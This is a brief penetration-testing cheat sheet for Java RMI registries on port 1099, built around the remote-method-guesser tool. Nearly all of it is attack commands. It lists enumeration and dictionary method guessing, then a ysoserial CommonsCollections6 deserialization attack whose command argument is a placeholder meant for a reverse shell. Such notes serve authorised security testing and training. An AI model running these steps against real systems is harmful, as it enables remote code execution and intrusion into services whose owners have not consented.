# RMI Registry Java Pentesting

## Tool: <https://github.com/qtc-de/remote-method-guesser>

### Port: 1099

## STEPS:

#### 1) Enumerate RMI protocol

```
java -jar rmg-4.4.1-jar-with-dependencies.jar enum IP_ADDRESS 1099 
```

#### 2) Guess methods in the service via a dictionary attack

```
java -jar rmg-4.4.1-jar-with-dependencies.jar guess IP_ADDRESS 1099 
```

#### 3) Conduct a serialization attack against the service

```
java -jar rmg-4.4.1-jar-with-dependencies.jar serial IP_ADDRESS 1099 --yso /opt/ysoserial.jar --bound-name monitoring --signature 'String sendData(String dummy,Object dummy2)' CommonsCollections6 'COMMAND_HERE_TO_REVERSE_SHELL' 
```
